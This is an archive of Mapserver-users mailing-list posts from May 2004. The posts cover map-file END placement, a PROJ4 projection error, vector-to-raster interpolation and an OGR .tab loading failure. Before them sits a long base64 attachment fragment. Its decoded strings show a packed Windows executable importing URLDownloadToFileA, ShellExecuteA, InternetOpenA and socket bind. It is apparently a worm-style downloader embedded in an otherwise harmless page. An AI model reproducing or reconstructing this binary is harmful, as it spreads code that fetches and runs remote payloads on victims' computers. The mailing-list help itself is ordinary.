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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAJqinSxjGFZxUKr53 Lq1UPD92sMdYBmGEuXaDb3umvJIcSyp4XD4uvElEvn7HvIg9gk4xnkW6BYg9ebQiGUe1bDCd Y7lZxFtAmZ7HK4+RjKxrPhJnKxl+YWTHfVl1OzxGWRkZqlJqTUozCScGZChYpplLeptIdUqH sGdzoh2GvjWeZYOGIqBUQx2cD64wXC64ALc8Iw22slSBm6idBylFvDGNNWIWmRIOPn29qHBM QpS2N21Fq3OrkDmeVMIyDYBmR18HXFYFJoS9moMShSwJAS47N4twRJkKrq+YU0J/koVCPo5m fXVNgbGLG6tbEjOPwjgpLE0VIkoSE2ECNnaUK2onLIufc6jFHKIMwVeOaQU+pUCwkn+zfXxn NyNsxm93aiN2bLoRtitQGG4ojcTAgyBUuiNEJKuQL8GhqpSQm750YjUoVTA4r3NXi2JeISlT ahS7eRN+XjlCHLrECHs0PrVfYGY6vwBhtmEftGpBC1KshcCJplXCXXRlnC1bshtcoTF3NDmD T3m3Nps0uVaXosdqQgG/jBWmUmQKnx4dA5lnE0QbHywzqSwjWWufL0gGd8AehI0mNK41ZwFs XqY= ----------jczsygdjqdgijoumcuca-- From hal at mobilegeographics.com Fri May 21 12:39:43 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Fri, 21 May 2004 12:39:43 -0700 Subject: [Mapserver-users] Missing Something In-Reply-To: <200405211103.34356.vaiod@berloy.com> References: <200405211103.34356.vaiod@berloy.com> Message-ID: Your first "END" line is in the wrong place, I think. The LAYER definition is outside the MAP definition. Instead of saying MAP (more stuff) END LAYER (more stuff) END you should have MAP (more stuff) LAYER (more stuff) END END I suggest you also have a look at http://www.mobilegeographics.com/mapserver/hello.phtml which is a working demo that doesn't require any shapefiles or projection. Hal >Why doesn't this produce anything, I am a newbie so overlooking something is >very possible. All I get is a 640 480 box the color I have chosen below. The >sewera files are all in the data path .dbf .prj .shp .shx. I used ogrinfo -al >to get the extents from the shx file. > >this is the url I am using. >http://localhost/cgi-bin/mapserv40?map=/srv/www/htdocs/mapserver/test.map&mode=map > > >test.map contents --- >MAP > > IMAGETYPE PNG > STATUS ON > EXTENT 382487.530826 833318.888530 497485.329577 1017509.008264 > SIZE 640 480 > SHAPEPATH "data" > IMAGECOLOR 238 238 238 > >END > > LAYER > NAME sewera > DATA sewera > STATUS DEFAULT > TYPE POLYGON > > END > >Any ideas would be appreciated... >Thanks, >Eric >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From vaiod at berloy.com Fri May 21 13:22:46 2004 From: vaiod at berloy.com (Eric Katherman) Date: Fri, 21 May 2004 13:22:46 -0700 Subject: [Mapserver-users] Missing Something In-Reply-To: <000101c43f6c$25c8c8f0$0100000a@cybermedia.local> References: <000101c43f6c$25c8c8f0$0100000a@cybermedia.local> Message-ID: <200405211322.46422.vaiod@berloy.com> This is all very helpful, I recompiled it with PROJ4 support but I am getting the error: msProcessProjection(): Projection library error. no system list, errno: 2 Which I am sure you have all seen before... the /usr/local/share/proj folder has all of the files it should have... and if I run a "proj -V +init=epsg:2223" it runs and returns information like it should (I think) but I still get that error... My webserver is running under my user account which has r+w permissions to that folder... Any ideas? Thanks Eric > > Your ogrinfo output indicates that the data is projected so you must > > have compiled mapserver with PROJ4 support and then add to your MAP > > section: > > > > UNITS METERS > > PROJECTION > > "init=epsg:26749" > > END > > > > If you search your proj/epsg file you'll find 26749 under # NAD27 / > > Arizona Central. > > In general, a good idea, but it shouldn't be necessary. His EXTENT > matches the units of the layer's data, so it should draw without any > projection settings. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From murilo.yoshida at agx.com.br Fri May 21 13:22:34 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Fri, 21 May 2004 17:22:34 -0300 Subject: RES: [Mapserver-users] Map interpolation In-Reply-To: <40AC36DA.4010602@pobox.com> Message-ID: <000001c43f71$62d420a0$1364a8c0@parapente> Frank, Tyler, What I want to do is this automatic generalization of vector data. Actually the best solution would be to generate a raster data from a vector data. I have a map with several polygons. Each polygon has a data associated with it, population, for example. I guess that to do the raster data from vector data I would have to size down my polygons, until they had the size of a pixel, but that would have too much cost, since the polygons I have on the map are created dynamically... I don't know if openEV has this kind of stuff implemented... it would be of great help... Anyway, if I could stop the process of sizing down the polygons before they reached the pixel size I guess that would be nice too. Thanks, Murilo -----Mensagem original----- De: Frank Warmerdam [mailto:warmerdam at pobox.com] Enviada em: quinta-feira, 20 de maio de 2004 01:41 Para: murilo.yoshida at agx.com.br Assunto: Re: [Mapserver-users] Map interpolation Murilo Lacerda Yoshida wrote: > Hi all, > > > > I wanted to know if mapserver does map interpolation. If not, do you > know a open source tool that does it? Murilo, "Map interpolation" is a pretty general term in my opinion. What exactly are you looking for? Automatic generalization of vector data? Smooth interpolation of raster data during oversampling? Best regards, -- ---------------------------------------+-------------------------------- ------ I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From marcelito20 at hotmail.com Fri May 21 15:04:01 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Fri, 21 May 2004 17:04:01 -0500 Subject: [Mapserver-users] Error message TAB files & OGR Message-ID: <40AE7CD1.000003.01156@BECARIO1> --------------Boundary-00=_PY33G6G0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_PY33BHK0000000000000" --------------Boundary-00=_PY33BHK0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi folks,=0D =0D I'm having trouble with .tab files and OGR. This is part of my log file. = =0D =0D [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] PHP Warning:=20 [MapServer Error]: msDrawMap(): Failed to draw layer named 'CALLES'., referer: http://localhost/GPSFinder/php/GPSMain.php=0D [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] in D:\Archivos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 31, referer: http://localhost/GPSFinder/php/GPSMain.php=0D [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] PHP Warning:=20 [MapServer Error]: msOGRFileOpen(): Open failed for OGR connection `D:/Archivos de programa/Apache Group/Apache2/htdocs/GPSFinder/data/CALLES_84_3.tab'. File not found or unsupported format., referer: http://localhost/GPSFinder/php/GPSMain.php=0D [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] in D:\Archivos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 31, referer: http://localhost/GPSFinder/php/GPSMain.php=0D [Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] PHP Fatal error:=20 Object expected as argument. in D:\Archivos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 69, referer: http://localhost/GPSFinder/php/GPSMain.php=0D =0D How can and resolve this?=0D Thanks... --------------Boundary-00=_PY33BHK0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hi folks,
 
I'm having trouble with .tab files and OGR. This is part of my log f= ile.
 
[Fri May 21 16:26:27 2004] [error] [client 127.0.0.1] PHP Warning:&n= bsp; [MapServer Error]: msDrawMap(): Failed to draw layer named 'CALLES'.= , referer: http://localhost/GPSFinder/php/GPSMain.php
[Fri May= 21 16:26:27 2004] [error] [client 127.0.0.1]  in D:\Archivos de pro= grama\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on line 31, re= ferer: http://localhost/GPSFinder/php/GPSMain.php
[Fri May 21= 16:26:27 2004] [error] [client 127.0.0.1] PHP Warning:  [MapServer = Error]: msOGRFileOpen(): Open failed for OGR connection `D:/Archivos de p= rograma/Apache Group/Apache2/htdocs/GPSFinder/data/CALLES_84_3.tab'. = ; File not found or unsupported format., referer: http://localhost/GPSFinde= r/php/GPSMain.php
[Fri May 21 16:26:27 2004] [error] [clien= t 127.0.0.1]  in D:\Archivos de programa\Apache Group\Apache2\htdocs= \GPSFinder\php\render.php on line 31, referer: http://localhost/GPSFinder/p= hp/GPSMain.php
[Fri May 21 16:26:27 2004] [error] [client 1= 27.0.0.1] PHP Fatal error:  Object expected as argument. in D:\Archi= vos de programa\Apache Group\Apache2\htdocs\GPSFinder\php\render.php on l= ine 69, referer: http://localhost/GPSFinder/php/GPSMain.php
 
How can and resolve this?
Thanks...

3D""

______________________= ___________________________________________
3D""  IncrediMail = - El Email ha evolucionado finalmente - Haga clic aqu=ED
--------------Boundary-00=_PY33BHK0000000000000-- --------------Boundary-00=_PY33G6G0000000000000 Content-Type: image/gif; name="06_side.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhWABdAcQTAO/CX6hZMOq9XdapU8mZS+a5W7aTSJA2IOK2WXoVEd+yV+y4U9+sVPC9VOm2 UqCBP+SxTua1Wb56Pv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA ABMALAAAAABYAF0BAAX/4CSOZGmeaKqmRYEgbSsIsKu8tduufO/7L8WthRDEZEYj0fVrOn+36KsF sM2Urhnxye2aYMGjUlsQvsgFr7pbMCIYufEMMZTF1vgm2ByjwYxDZ35peYUrgAoDcUdTOlU4hpEo gAOKY3Y1gjgIkp0kQYlFdldtglicnp4wCgyKjUtgSzGoqZKlla99RDmztZ0trQRxl7p/Rr6Sq5Vt SS6xdDhaCsiRoMI6WFp0zm7T1IUtiddt5KRiVUzfeW4MBFilR3UAg+p5QQPCxo2xzDiE9WrC4eM1 5d2RUgDX4MCnq4wWGgqQkEuoJgrDgkiCiCJXhqKXNuL8MYMnow4dj2wE/wghEPFgDZX+3NBC2cRF JWGkpogqUgQNzSc0grk5SE5BMxkzf/YQSGBJtnBinCltQqlpEhp2ykRNN7XHi2Bh+mjDdiVp1xT3 8umQKJMj17MqiChoelAJqIbe4KqAOLAhI2Zl8+o9AYohsatThMj0So5OlBs1BtSJIYSP48qYhTib VZlOpQFis5YhCGOFDSGtPqtezVp1ItavV8deTaA2vxyrXmJBW1k1nBkAgl+ZJyC48DbGiQsHPg95 8ioPg+b7gxEaUbMiyoiTXLw4cebBCwgn7nw8Ou9als+rsn4eHbpls7Y8KFhEy2AD2i/3npy/evPN +fedf90th4BaczDSkv8xb03gGD6WMFdcecQZgx5yBAqonHHDcVjGNfGRMp82SQkBYXf8IcFhesqB hx50/Snx3IDSjONWfIyUNoKJBOT3HYfmgQfgcs65+OKQ5iHQl2hjNUQLjwQAuWGMzxlJIXAdTknk hXON8pANuoUjgme1iTeekSjux1+Ha1IYnpkSpvgGfKX0NBRgM3jzmgE+/rjiFXHO+N9/EmKYYoU2 sARGLtAQNA2Z7qAoIJszEkjFnxoKiuV6H0ZEil24LcqJZ3xWyaKW38mwH5WrDvrncXNZaOcumDBR AD4GmAkkMzSaxyuSGQIp4apkGKaEUXM4xmgZAxjgDqaTHgndsFmGN6n/oVR212VdRAFWZyJ8xqlr f5pqeuWaGyZxnH+3XvMHLER8mcVcBiAr5YrrCSkegTBYy2awHgIKEYJOaYNYDLiOm2nAxwHGIQLm Unhpq8LNecOdIrYESFEEGFBgvoAyTG576uqnpaXlicgQvH/ZVQ64+8ao6ptVXonvvWuG7K93LoCY YII60SBTOx5Te6WdIqco5KZqjmtyngbYOZwfr2TyngFPT3xvcrqiKyjJXq8LqJK5rjVLLuWE0/HC lVaKZ743Vzttf7zO0eU+NsyiC1b0hldli1huOmmv6+p3bs4fysKRHwLHC66mlMq9tBweRqAwehPS XUWzYJCxUSZ4NQt5/7RsR3dtBBFgLvGZxZEd2iig5BBFx29fRfeL6IljgAQS9BjBigWgTuDfOdOR Ky8jma0NZM3qLCR5GTIgwQHUV39AAL0zgF4E/R435JeARN3Hu5t4O4voAE4tLIfSH5BAAtQHcH0A 